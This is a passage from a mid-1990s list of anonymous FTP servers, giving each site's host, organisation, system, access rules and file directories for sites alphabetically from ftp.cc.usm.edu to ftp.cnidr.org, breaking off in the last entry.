Hattiesburg, Mississippi, CC +Server : +System : Unix (Linux, PC) +URL : ftp://ftp.cc.usm.edu/ +Comment: all connections are logged; off-campus access allowed, but files + are customized for USM +Files : CUTCP; HotMetal HTML editor for MS-Windows; Kermit; Internet Kit; + Minuet; PC Route (USM); WinQVT + +Site : ftp.cc.utexas.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : old ftp-list +Alias : bongo.cc.utexas.edu +Admin : +Organ : University of Texas - Austin, Austin, Texas, Computation + Center Archive +Server : +System : Unix +URL : ftp://ftp.cc.utexas.edu/ +Comment: access allowed all day, but preferred outside of 6am-6pm CST; + transfers are logged +Files : AI_ATTIC; amadeus; anime; cypherpunks; databaselib; delta-clipper; + doc; genetic-programming; graphics: GIF, JPG; lewo; lips; mathlib; + microlib; statlib; plant-resources-center; realtime; skywatch; + snakes; sourdough; statgopher; tatp; texsis; txunion; ut-facts; + ut-images; ytalk + +Site : ftp.cc.vanderbilt.edu +Country: USA +GMT : -6 +Date : 24-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : usrs.cc.vanderbilt.edu +Admin : +Organ : Vanderbilt University, Nashville, Tennessee, CC +Server : +System : Unix +URL : ftp://ftp.cc.vanderbilt.edu/ +Comment: this server is in the setup process +Files : docs; Mac; mma; PC; Unix; VMS + +Site : ftp.cca.vu.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : nl-ftp list as posted to nlnet.announce +Alias : zadar.cca.vu.nl +Admin : ftpserver@cca.vu.nl +Organ : Vrije Universiteit (Free University), Amsterdam, CCA/Cio +Server : +System : gopher: gopherhost.cca.vu.nl; Available through Wais +URL : ftp://ftp.cca.vu.nl/ +Comment: all anonymous sessions are logged; e-mailaddress is checked; + limit of 2 users during office hours, 5 outside (from the + vu.nl domain: 10 users at all times) +Files : banyan; CD-ROMs (of popular sites: Simtel, Cica, GIF-Galore); + Cio-info; docs; gopher; licences; Linux; Mac; pictures; Sunfixes; + virusinfo; WP-drivers + +Site : ftp.ccalmr.ogi.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : sgi/anonftp/list; Perry.Rovers@kub.nl +Alias : amb4.ccalmr.ogi.edu +Admin : pturner@amb4.ccalmr.ogi.edu +Organ : Oregon Graduate Institute of Science and Technology, , Oregon, + Center for Coastal And Land-Margin Research (CCALMR) +Server : +System : Unix +URL : ftp://ftp.ccalmr.ogi.edu/ +Comment: +Files : CCALMR info; OGI info + +Site : ftp.ccc.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : sol.ccc.de +Admin : +Organ : Chaos Computer Club, Oldenburg +Server : +System : +URL : ftp://ftp.ccc.de/ +Comment: +Files : + +Site : ftp.cccd.edu +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : markb@spock.dis.cccd.edu (Mark Bixby) +Alias : spock.dis.cccd.edu +Admin : ftp@cccd.edu +Organ : Coast Community College District (CCCD), Costa Mesa, California, + District Information Services +Server : gopher, http://www.cccd.edu/ +System : Unix +URL : ftp://ftp.cccd.edu/ +Comment: transfers are logged; max. 10 users +Files : Banyan; database; faq (tinnitus); ftpsites; libraries; mail; netinfo + (CERFnet, InterNIC, NSFnet); oracle; quake; training; wais; Usenet + (INN newsadmin utility scripts) + +Site : ftp.cchs.su.edu.au +Country: Australia +GMT : +10 +Date : 10-Dec-94 +Source : posting by G.Davis@cchs.su.edu.au (Glen M. Davis) +Alias : tango.cchs.su.edu.au +Admin : +Organ : University of Sydney, Sydney +Server : +System : VAX/VMS running Multinet +URL : ftp://ftp.cchs.su.edu.au/ +Comment: default directory: USER1:[FTP]; some files are rather old, but + probably the civil and pcbench directories are most interesting +Files : civil; ethernet; lantronix; Mac; MS-DOS (mostly old stuff, all + version of PKZIP up until '92); Novell; OS/2; PC; postscript; + RFCs; Unix; VMS; WWW + +Site : ftp.cciw.ca +Country: Canada +GMT : +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : cs910.cciw.ca +Admin : u062@csx.cciw.ca +Organ : Canada Centre for Inland Waters, Burlington, Ontario +Server : +System : Unix +URL : ftp://ftp.cciw.ca/ +Comment: standard disclaimer; strange structure under pub (contains mostly + doslike stuff) +Files : SETAC (files from the SETAC BBS) + +Site : ftp.cco.caltech.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : old ftp-list +Alias : piccolo.cco.caltech.edu +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cco.caltech.edu/ +Comment: successor of tybalt.caltech.edu and punisher.cco.caltech.edu; + directories: pub/heathh, pub/humor +Files : adnd; Apple2; Aquaria; BioMoo; calmsa; CalTech; card; ccf; cetf; + disney; dissertations; docs; gems5; graphics; GraphWidget; heathh; + humor; jokes; IBM PC; mathematica; nyet; plays; reefkeepers; + sol-drivers; Solaris; specs; Sun; surfing; txt; UA; willow; X; X11; + xyplex + +Site : ftp.ccs.carleton.ca +Country: Canada +GMT : -5 +Date : 25-Jan-95 +Source : old ftp-list +Alias : alfred.ccs.carleton.ca +Admin : mikey@ccs.carleton.ca +Organ : Carleton University, Ottawa, Computing Services (CCS) +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ccs.carleton.ca/ +Comment: NO GIFS HERE +Files : aucc; banyan; bootp; civeng; coop; dkbtrace; fedelect; freenet; + gopher; math; novell; pathways; parasol; pov-ray; schoolnet; + security; sendmail; smallktalk; stats.can; vipcu; workbench; wpl + +Site : ftp.ccs.neu.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : amber.ccs.neu.edu, ftp.cs.neu.edu +Admin : ftp@ccs.neu.edu +Organ : North Eastern University, , College of CS +Server : +System : Unix +URL : ftp://ftp.ccs.neu.edu/ +Comment: connections are logged; (de)compress and tar on the fly +Files : ccs-info; demeter; gradcouncil; journals; k2000; mirrors: guitar, + Linux; MUD; net-archives; OS; people; research; sigsam; sysadmin + +Site : ftp.ccs.queensu.ca +Country: Canada +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : knot.ccs.queensu.ca +Admin : +Organ : Queen's University, Kingston, Ontario, Computing Services (CCS) +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ccs.queensu.ca/ +Comment: ftp access allowed all day; wuarchive access restricted to campus + users; transfers are logged +Files : gismaps; Mac; mirror of coombs.anu.edu.au; MS-DOS; netinfo; + printers; QU pubdirectory; tcrunchers; Unix; weather + +Site : ftp.ccu.edu.tw +Country: Taiwan +GMT : +10 +Date : 14-Dec-94 +Source : +Alias : leica.ccu.edu.tw +Admin : gopher@ccunix.ccu.edu.tw +Organ : National Chung Cheng Uuniversity (CCU), Chiayi, CC +Server : +System : Unix +URL : ftp://ftp.ccu.edu.tw/ +Comment: +Files : AARnet; anime; CCU; cdrom; Chinese; database; document; FAQs; + gopher; Internet; language; Mac; MS-DOS; NCSA; netlib; NeXT; Novell; + OS/2; package2; packet drivers; TeX; Unix + +Site : ftp.cd.chalmers.se +Country: Sweden +GMT : +1 +Date : 15-Dec-94 +Source : MUD FAQ; Netrek FAQ +Alias : abdallah.cd.chalmers.se +Admin : +Organ : Chalmers University of Technology, Gothenburg +Server : +System : Unix +URL : ftp://ftp.cd.chalmers.se/ +Comment: successor of alcazar.cd.chalmers.se +Files : anim; InterTeX; MUD (LPMUD) related files; NetBSD; Netrek; OS; PC; + words; xibc; ZyXel + +Site : ftp.cdconnection.com +Country: USA +GMT : +Date : 30-Oct-94 +Source : +Alias : +Admin : +Organ : Compact Disc Connection +Server : +System : Unix +URL : ftp://ftp.cdconnection.com/ +Comment: +Files : Billboard Top 10; CDcatalog: classical, country, jazz, rock, shows, + soundtracks; Golden Ears; IBM PC off-line search prog. + +Site : ftp.cdnnet.ca +Country: Canada +GMT : -8 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : relay.cdnnet.ca +Admin : hq@cdnnet.ca +Organ : CDNnet +Server : +System : Unix +URL : ftp://ftp.cdnnet.ca/ +Comment: [check! pub empty?] +Files : CA domain registrations; cosine-mhs; fonts; MuTeX; raster files; RFCs; Sun; + Usenet utils + +Site : ftp.cdpublishing.com +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : nelson@crynwr.com (Russell Nelson) {posting} +Alias : granville.cdpublishing.com +Admin : +Organ : CD Publishing Corp., Vancouver, British Columbia +Server : gopher://gopher.cdpublishing.com/ +System : Unix +URL : ftp://ftp.cdpublishing.com/ +Comment: text files only, no programs present here +Files : catalog of products; netgems; packet driver info; product info + +Site : ftp.cdrom.com +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : old ftp-list +Alias : ftp-os2.cdrom.com, xfree86.cdrom.com, freebsd.cdrom.com, + wcarchive.cdrom.com, ftp.freebsd.org +Admin : ftp-admin@ftp.cdrom.com (general questions or comments), + ftp-bugs@ftp.cdrom.com (bug reports or problems) +Organ : Walnut Creek CDROM, Walnut Creek, California +Server : gopher, www: http://www.cdrom.com/ +System : Unix (FreeBSD, i586 90Mhz) +URL : ftp://ftp.cdrom.com/ +Comment: successor of cdrom.com; OS/2 users use ftp-os2.cdrom.com because + ftp-os2.cdrom.com might start to point to another machine sometime; + [this goes for the other aliases as well]; 192Mb memory, 32Gb HD + most of these archives are available on CD-ROM as well; max. 500 + users +Files : ADA; algoritms; Aminet; bogus; BSD-sources; CD-ROM related stuff; + demos; Doom; Doom2; FreeBSD; games; garbo.uwasa.fi mirror; Gutenberg + (mirror of etext.archive.umich.edu); hamradio; handicap; Internet; + japanese; languages; Linux (Slackware home & more); Mac; MS-Windows + (mirror of ftp.cica.indiana.edu); OBI; OS/2 programs and mirror of + ftp-os2.nmsu.edu (hobbes); Perl; pov; povray; security; tcl; VBBS; + X11R6; XFree86 (mirror of ftp.xfree86.org) + +Site : ftp.cecer.army.mil +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : +Alias : max.cecer.army.mil, moon.cecer.army.mil +Admin : +Organ : CECER +Server : +System : Unix +URL : ftp://ftp.cecer.army.mil/ +Comment: Open 24 hours; there's a bug in the DIR command: it will fail when + there are long network delays betwwen you and this server; when + DIR fails, use ls +Files : BSD 4.3; grass; isle; mtools; ogis; pcomm; Tcl; X3L1 + +Site : ftp.cecm.sfu.ca +Country: Canada +GMT : -8 +Date : 20-Dec-94 +Source : sgi/anonftp/list +Alias : banzai.cecm.sfu.ca +Admin : ftp@cecm.sfu.ca +Organ : Simon Fraser University, Burnaby, British Columbia, Center for + Experimental and Constructive Mathematics (CECM) +Server : +System : Unix +URL : ftp://ftp.cecm.sfu.ca/ +Comment: transfers are logged and violators will be prosecuted +Files : CECM info; dmap; DNQS; GNU; images; Mac; Math; mathprobe; + rec.moto.reviews (RMR); SGI + +Site : ftp.celestial.com +Country: USA +GMT : -8 +Date : 02-Jan-95 +Source : admin +Alias : camco1.celestial.com, ftp.seaslug.org +Admin : bill@celestial.com (Bill Campbell) +Organ : Celestial Systems, Inc., Mercer Island, Washington +Server : http://www.celestial.com/ftp.html +System : Unix (SCO Open Enterprise Server System, 486-33 EISA) +URL : ftp://ftp.celestial.com/ +Comment: The primary emphasis for this server is free software, compiled for + SCO Unix and Xenix. Files are also available from our web server; + Seattle Unix User Group site (SEASLUG) +Files : Celestial info; csmail; fcn; flexfax; freedom (crime, federalist); + GNU; images; Linux; mailing lists (cert, cvs, flxfax, fp, jir, + linux, lpf, nntplink, pine, progrss, rkba, sco-list, + uni4um-affiliates, univel, uug); MS-DOS (perl); news (cnews, inn, + nn, readers); penril; Pine (ftp.cac.washington.edu); seaslug; SCO + (ports and partial mirror of ftp.sco.com); Sequent; xarchie + +Site : ftp.cena.dgac.fr +Country: France +GMT : +1 +Date : 09-Feb-94 +Source : blet@cenaath.cena.dgac.fr (Jacques Blet) +Alias : +Admin : ftp@cena.dgac.fr +Organ : Centre d'Etudes de la Navigation Aerienne (CENA, Center for Aerial + Navigation Studies), Mons +Server : no e-mail server +System : Unix (SunOS 4.1.3) +URL : ftp://ftp.cena.dgac.fr/ +Comment: +Files : mirror: sun-fixes, GNU, TCL, Linux Slackware; Unix software + +Site : ftp.census.gov +Country: USA +GMT : -5 +Date : 29-Sep-94 +Source : calliope@netcom.com (Gary Goldberg) {posting} +Alias : gateway.census.gov +Admin : gatekeeper@census.gov +Organ : United States Bureau of the Census, Bowie, Maryland +Server : www.census.gov; gopher.census.gov +System : Unix +URL : ftp://ftp.census.gov/ +Comment: transfers are logged +Files : 92econ; agriculture; ARC95; CD-Apps; Census-BBS; ces; construction; + decennial census; docs; dsd; dusd; economic; economy; extract; faq; + foreign-trade; genealogy; geo; geography; governments; Govt-Stats; + housing; industry; International; naics; ocr; packages [?]; + pio; pop; population; Press-Release; RFCs; SASdata; Stat-Briefs; + states; stp; ts; We-The-People + +Site : ftp.center.osaka-u.ac.jp +Country: Japan +GMT : +9 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : ccews03.center.osaka-u.ac.jp +Admin : ftp-admin@center.osaka-u.ac.jp +Organ : Osaka University, Osaka, CC +Server : gopher +System : Unix +URL : ftp://ftp.center.osaka-u.ac.jp/ +Comment: on the fly tarring and compressing/gzipping; read 00MIRROR +Files : AMS; AVS-ug; archiver; cell-relay; CERT; CTAN; Demacs; ditmac; + djgpp; docs; EDUCOM; Eudora; FlexFax; GNU; GNUish; gopher-center; + HP-UX9; IETF; IMR; Info-Mac; Internet-drafts; ISOC; Lucid Emacs; + MathSource; MS-DOS; Mule; Multicast; Net; Net2; Netinfo; + news.answers; NREN; ODINS; Ohio-elisp; PC; PTL; rec.travel; + resource guide; RFCs; security; statlib; Sun-info; + VISION-List-archive; VOA; Tahoe; TCL-Tk; Weather; Windows3; + X-contrib; X11R6 + +Site : ftp.cerf.net +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : dlist@ora.com; old ftp-list +Alias : nis.cerf.net, radio.cerf.net +Admin : help@cerf.net +Organ : California Research & Education Federation (CERF) Net, , California, + NIC +Server : gopher.cerf.net +System : Unix +URL : ftp://ftp.cerf.net/ +Comment: successor of nic.cerf.net +Files : CERFnet connectivity maps; CERFnet info; Farnet; Fredmail; Infomagic + CD; Internet; Internet Talk Radio (ITR); NSFNet; pushp; SLIP; + systems; usenet; vendor + +Site : ftp.cetis.hvu.nl +Country: Netherlands +GMT : +1 +Date : 24-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : idefix.cetis.hvu.nl, www.hvu.nl +Admin : koos@hut.nl (Koos van den Hout) +Organ : Hogeschool Utrecht (Utrecht College), Utrecht, Centrum voor + Educatieve Technologie, Innovatie en Scholing (CETIS) +Server : +System : Unix (Linux) +URL : ftp://ftp.cetis.hvu.nl/ +Comment: +Files : apw; beer; netcb (/pub/koos/netcb); PGP; pictures + (/pub/koos/pictures); VFW (Video for Windows 1.1 runtime); YKWYBHTLW + +Site : ftp.cfi.waseda.ac.jp +Country: Japan +GMT : +9 +Date : 14-Dec-94 +Source : Archive-name: games/roguelike +Alias : +Admin : ftp-admin@waseda.ac.jp +Organ : Waseda University, Waseda +Server : +System : Unix +URL : ftp://ftp.cfi.waseda.ac.jp/ +Comment: Problem: timeout; directory: + /pub3/bsd-sources/NET2/var/games/phantasia; max. 1000 users [no + kidding!]; uses gzip instead of compress; +Files : fj; GNU; junet-DB; kermit; KHOROS; kterm; languages; IRC; Mac; Mach; + MS-DOS; NetBSD-current; network; news; newsreader; RFCs; security; + TeX; Waseda; X11R5 + +Site : ftp.che.utexas.edu +Country: USA +GMT : -6 +Date : 04-Feb-94 +Source : John W. Eaton +Alias : june.che.utexas.edu +Admin : remark@che.utexas.edu +Organ : University of Texas - Austin, Austin, Texas, + Chemical Engineering dept. +Server : +System : Unix +URL : ftp://ftp.che.utexas.edu/ +Comment: Do not use june.che.utexas.edu as it may change! It's listed only + to be complete +Files : Octave; GNU sources; Fortran numerical libraries + +Site : ftp.chem.ruu.nl +Country: Netherlands +GMT : +1 +Date : 31-May-94 +Source : Perry.Rovers@kub.nl +Alias : faculty.chem.ruu.nl +Admin : +Organ : Rijks Universiteit Utrecht (Utrecht University), Utrecht, Chemistry + dept. +Server : +System : Unix +URL : ftp://ftp.chem.ruu.nl/ +Comment: +Files : Dirax; Elink; Lakin; prudent_ascent + +Site : ftp.chemietechnik.uni-dortmund.de +Country: Germany +GMT : +1 +Date : 30-Oct-94 +Source : Deutsche Anonyme FTP Server List; Netrek FAQ +Alias : plato.chemietechnik.uni-dortmund.de +Admin : +Organ : Universitaet Dortmund (University of Dortmund), Dortmund + Chemistry dept. +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.chemietechnik.uni-dortmund.de/ +Comment: +Files : Atari; draft; fisher; games; inl; Linux; MS-DOS; MUD related files + (mirror gs69.sp.cs.cmu.edu); Netrek; networking; short + +Site : ftp.chey.com +Country: USA +GMT : +Date : 10-Sep-94 +Source : hstams@k.mup.de (Henning Stams) {posting} +Alias : cheyenne.chey.com +Admin : joey@chey.com [?] +Organ : Cheyenne Software +Server : WWW: www.chey.com +System : Netware 3.11 (PC fileserver) +URL : ftp://ftp.chey.com/ +Comment: patch and release files from Cheyenne Software; release files have + been encrypted with a password when zipped; updates are in the + 'updates' directory; product info is in the 'informat.ion' directory +Files : Cheyenne Software products and info + +Site : ftp.chorus.fr +Country: France +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : opera.chorus.fr +Admin : sysadm@chorus.fr +Organ : Chorus Systems +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.chorus.fr/ +Comment: don't forget to change to BINARY mode to retrieve archive files +Files : CHORUS technical reports + +Site : ftp.chpc.utexas.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : sgi/anonftp/list +Alias : almach.chpc.utexas.edu +Admin : +Organ : University of Texas - Austin, Austin, Texas +Server : +System : Unix (System V Release 4.0) +URL : ftp://ftp.chpc.utexas.edu/ +Comment: +Files : bib; bib_ascii; compmed94; Gaia; ipsc; qcpg; svg_images + +Site : ftp.cic.net +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : pauls@locust.cic.net (Paul Southworth) +Alias : cedar.cic.net +Admin : ftp@cic.net +Organ : CICNet Inc., Ann Arbor, Michigan +Server : gopher +System : Unix (SunOS 4.1.3, SPARCstation 10/30) +URL : ftp://ftp.cic.net/ +Comment: journals are in /pub/nircomm/gopher/e-serials +Files : CICnet; e-serials; events; great lakes; hunt; Linkway (K-12, + see /pub/software/pc/Linkway); Nearly 600 different electronic + journals; nircomm; scitech; weather; zynrgy + +Site : ftp.cica.indiana.edu +Country: USA +GMT : -5 +Date : 10-Jul-94 +Source : old ftp-list +Alias : cica; winftp.cica.indiana.edu +Admin : ftp-admin@cica.indiana.edu (Michael Regoli) +Organ : Indiana University, Bloomington, Indiana, + Centre for Innovative Computing Applications (CICA) +Server : +System : Unix +URL : ftp://ftp.cica.indiana.edu/ +Comment: Open 24 hours; successor of sprite.cica.indiana.edu; max. 65 users +Files : Unix; MSDOS; NeXT updates; MS Windows 3.x archive + (is mirrorred around the world, so use those mirrors!) + +Site : ftp.cis.ksu.edu +Country: USA +GMT : -6 +Date : 30-Oct-94 +Source : Archive-name: games/roguelike +Alias : orion.cis.ksu.edu +Admin : ftp@cis.ksu.edu +Organ : Kansas State University, , Kansas, + Dept. of Computing & Information Sciences (CIS) +Server : mailserver@cis.ksu.edu +System : Unix +URL : ftp://ftp.cis.ksu.edu/ +Comment: Open 24 hours; 10 maximum connections; directory: /pub/Games +Files : alt.startrek.creative; Angband; CIS; Empire; Frame User network + files; FUN; Linux; mirrors; Moria; Netrek; NetBSD; PC games; + pictures; projects; Sparcsounds; tech-reports; vtmovies + +Site : ftp.cis.nctu.edu.tw +Country: Taiwan +GMT : +10 +Date : 18-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : gis83504@cis.nctu.edu.tw +Organ : National Chiao Tung University, Hsin Chu, Computer and Information + Sciences dept. +Server : +System : Unix +URL : ftp://ftp.cis.nctu.edu.tw/ +Comment: directories: /pub/msdos, /pub/win3; support keyword file searching; + when files are updated, you can be mailed a notice (check + 00README.FUN) +Files : 0packet (several packages); 3D-Object; ASCII-art; CIS (local info); + Chinese; Documents (information on different packages, formats + (graphics and sound), Chinese Unix Guide, RFCs, security); Games; + Languages (Perl, TCL); MIDI; Mac; MS-DOS (antivirus, arcers, + chinese, diskutils, docs, graphics, info, network, sysinfo, utility; + MS-Windows; Packages; Pictures; Vendors (JPSoft: 4DOS, 4OS2, 4NT, 4TeX); X11 + +Site : ftp.cis.ohio-state.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : old ftp-list +Alias : archive.cis.ohio-state.edu, saqqara.cis.ohio-state.edu, + tut.cis.ohio-state.edu +Admin : +Organ : Ohio State University, , Ohio, CIS +Server : www.cis.ohio-state.edu +System : Unix +URL : ftp://ftp.cis.ohio-state.edu/ +Comment: index in files-modified-last-week.Z; ftp-pun-message; rearranged + since last check +Files : algebra; anish; att7300; chameleon; clp; communication; + comp.sources.{3b1, unix}; cops; dlee; dspl; firearms; firewalls; + GNU; hci; hcibib; holthouse; hpce; ICS; Internet Talk Radio (ITR); + InterNIC; kbridge; Linux; lpf; Mac-Unix; neuroprose; papers; perl; + postgres; postscript; RFCs; rsrg; rx7club; siggraph92; stat; + style-guide; sysgen; TCL; tech-report; tensor; TeX; Usenix; + W3browser; WWW; X11R5; X11R6; X-contrib; yagel + +Site : ftp.cis.ufl.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : spp@cis.ufl.edu (Steve); old ftp-list +Alias : sand.cis.ufl.edu +Admin : consult@cis.ufl.edu +Organ : University of Florida, , Florida, Dept. of Computer & Information + Sciences (CIS) +Server : +System : Unix +URL : ftp://ftp.cis.ufl.edu/ +Comment: successor of bikini.cis.ufl.edu, snoopy.cis.ufl.edu; directory: + /pub/thoth; see README for possible features (.Z .gz on the fly) +Files : boomerang; comp.simulation; docs; fed; fishwick; fract; games; + gopher; HOGS; IA; IBM RT BSD patches; IBM RS6000 fixes; Jupiter; + Marlais; Motif; MS-DOS; Netrek for several systems in + /pub/thoth/paradise; NTU; pc-conference; pcph; perl (incl. + comp.lang.perl, O'Reilly examples, source and Perl5 Alpha source + code); ph; sag; simdigest; SLIP; smalltalk; smg; spp; succeed; + Sun-patches; UF-wormark; UF Multi; UF thesis; UMF pack; xmpeg; xph + +Site : ftp.cis.upenn.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : linc.cis.upenn.edu +Admin : +Organ : University of Pennsylvania, , Pennsylvania, Dept. of Computer & + Information Sciences (CIS) +Server : +System : Unix +URL : ftp://ftp.cis.upenn.edu/ +Comment: directory: pub/NH3.1; limit large transfers to non-business hours + (09:00-18:00); transfers are logged; uploaded files deleted within + 14 days unless other arrangements have been made; server supports + automatic tar and (de)compress; open 24 hours +Files : almanac; anagram; archie; chapter; cliff94; cliff94papers; codas; + DOP; EJC; graphics; grasp; httpd; ircs; Ivan; jana; Lolli; lprolog; + meetings; muenster; Nethack; NH3.1; papers; pdis94; PSfig for + ditroff; sigmod-pods; theory; TR; treebank; UNIPEN; UNIPEN-pub; + Xtag; XV + +Site : ftp.cisco.com +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : hubbub.cisco.com +Admin : +Organ : Cisco +Server : +System : +URL : ftp://ftp.cisco.com/ +Comment: +Files : Cisco utilities, information etc. + +Site : ftp.cityscape.co.uk +Country: UK +GMT : 0 +Date : 10-Sep-94 +Source : andy@intu_tec.dircon.co.uk (Andy Woods) +Alias : ns.cityscape.co.uk +Admin : +Organ : Cityscape +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.cityscape.co.uk/ +Comment: +Files : BBC html files; bcs; Cityscape; demo; docs; e-mail; images; ica + Internet stats; IP gold; ix.codes; Mac; Net Tiff files; Pipex; + shop; Recall-It (finder & diary system for MS Windows); Usenet; + Windows3; winsock + +Site : ftp.ciw.uni-karlsruhe.de +Country: Germany +GMT : +1 +Date : 09-Feb-94 +Source : Deutsche Anonyme FTP-Server List +Alias : mvmpc2.ciw.uni-karlsruhe.de +Admin : wualex1@mvmhp.ciw.uni-karlsruhe.de (W. Alex) +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe, + Chemistry dept. +Server : +System : OS/2 +URL : ftp://ftp.ciw.uni-karlsruhe.de/ +Comment: directories: /pub/docs +Files : C; Info Chemistry dept.; Internet info files: Hitchhikers Guide + to the Internet, Zen and the Art of the Internet; IRC primer; + Swedish; Unix; + +Site : ftp.cix.org +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : cix.org +Admin : ftphelp@cix.org +Organ : Commercial Internet eXchange Association, Falls Church, Virginia +Server : gopher, www +System : Unix +URL : ftp://ftp.cix.org/ +Comment: transactions are logged +Files : archive: cix-announce,board,members,tech; CIX info; Netpages; WWW + +Site : ftp.cl.cam.ac.uk +Country: UK +GMT : 0 +Date : 11-Mar-94 +Source : +Alias : swan.cl.cam.ac.uk +Admin : +Organ : Cambridge University, Cambridge, CL +Server : +System : Unix +URL : ftp://ftp.cl.cam.ac.uk/ +Comment: some loose files in /pub (network related), the rest is in + directories directly off the rootdirectory +Files : acquilex; bitmaps; hol; hvg; IEEE-TSC-EECS; Linux; m; niftp; + nltools; pegasus; portal; shoestring + +Site : ftp.clarinet.com +Country: USA +GMT : -8 +Date : 30-Aug-94 +Source : brad@clarinet.com (Brad Templeton) {posting} +Alias : looking.clarinet.com +Admin : +Organ : ClariNet Communications Corp. +Server : +System : Unix +URL : ftp://ftp.clarinet.com/ +Comment: +Files : clarinet info (price info, Internet World, jokebooks, newsbytes, + techwire, trnhelp); help (bbs, bbsadmin, bizarro, dilbert, graphics, + newusers, tech, worldviews); SF anthology; sources (abe, arbit, + dynafeed, nc, netrtf) + +Site : ftp.clark.net +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : crusader@clark.net (Scott Cherkofsky) {posting} +Alias : clarknet.clark.net +Admin : tstark@clark.net (Tim Stark) +Organ : Clarknet Internet Services Inc., Fairfax, Virginia +Server : +System : Unix +URL : ftp://ftp.clark.net/ +Comment: some user pub directories under /pub +Files : Clarknet info; deaf.magazine; First Class BBS settings (SoundNiche + BBS, see pub/scherkofsky); gopher; journalism; html; Linux; + MS-DOS; mst3000; robocop; Universe mailinglist Archive + +Site : ftp.clarkson.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : omnigate.clarkson.edu, grape.ecs.clarkson.edu +Admin : root@omnigate.clarkson.edu +Organ : Clarkson University, Potsdam, New York +Server : +System : Unix +URL : ftp://ftp.clarkson.edu/ +Comment: some files moved to barnacle.erc.clarkson.edu; limit of 20 users +Files : Annotated C++; aviator; broken connections; C++; comp.graphics; + CUTCP; docs; encoders; FSF; gsstools; IETF; ISETL; KA9Q; marquis; + MS-DOS, NCSA 2.2 TN; net; Novell; Opus BBS; packet drivers; + scheme; SimTel CD-ROM; TCL; TeX; UUPC + +Site : ftp.cli.com +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : +Alias : jingles.cli.com +Admin : ftp@cli.com +Organ : Computational Logic Inc. (CLI) +Server : +System : Unix +URL : ftp://ftp.cli.com/ +Comment: access all day; transfers are logged; some user pub directories + under /pub +Files : akcl; kcl; nqthm; pc-nqthm; wfs + +Site : ftp.cme.nist.gov +Country: USA +GMT : -5 +Date : 22-May-94 +Source : durer.cme.nist.gov; Perry.Rovers@kub.nl +Alias : tribble.cme.nist.gov +Admin : elib-admin@cme.nist.gov +Organ : National Institute for Standards and Technology, Gaithersburg, + Maryland +Server : +System : Unix +URL : ftp://ftp.cme.nist.gov/ +Comment: successor of durer.cme.nist.gov +Files : 8mm backup (Exabyte); ats; clue-contacts; cm; depot; expect; mei; + Mosaic; msi; oiw; pptb; sdai; sendmail stdoview; step + +Site : ftp.cnam.fr +Country: France +GMT : +1 +Date : 29-Sep-94 +Source : Stephane Bortzmeyer (bortzmeyer@cnam.fr); old ftp-list +Alias : cnam.cnam.fr, asimov.cnam.fr +Admin : ftp-admin@cnam.fr +Organ : Conservatoire National des Arts et Metiers (National Conservatory + of Arts and Professions, CNAM), Paris +Server : www.cnam.fr, web.cnam.fr +System : Unix +URL : ftp://ftp.cnam.fr/ +Comment: uploads to /incoming +Files : ABU (French texts); Ada; Amiga; Astro (pictures); Atari; Boizumault + (sources for the interpretation of Prolog); camlada (teaching + excercises in CAML and ADA); CNAM (local literature); CNU + (administrative stuff); Fractals (pictures); Gutenberg; Modulog; + Network; RFCs; VMS + +Site : ftp.cnc.ac.n +Country: China +GMT : +10 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : osf.cnc.ac.cn +Admin : +Organ : China Network Center +Server : gopher +System : Unix +URL : ftp://ftp.cnc.ac.cn/ +Comment: +Files : CASNet; directory lists; FAQs; FYI; info; networking; NIC; NOC; + packages; RFCs; software-ifcss; STD; Tools + +Site : ftp.cni.org +Country: USA +GMT : -5 +Date : 14-May-94 +Source : +Alias : a.cni.org +Admin : +Organ : Coalition +Server : gopher: gopher.cni.org; WWW: www.cni.org (under development) +System : Unix +URL : ftp://ftp.cni.org/ +Comment: telnet: a.cni.org (login: brsuser) +Files : ARL; CNIl Current cites; docs: CIMI, compriv, digitlibs, gils, + Hugo Nebula, npr, oclc, scita; forums; FYI; LITA; MARBI; net-guides; + NII; RFCs; other files in /pub/software + +Site : ftp.cnidr.org +Country: USA +GMT : +Date : 10-Sep-94 +Source : sgi/anonftp/list; PC NFS FAQ +Alias : 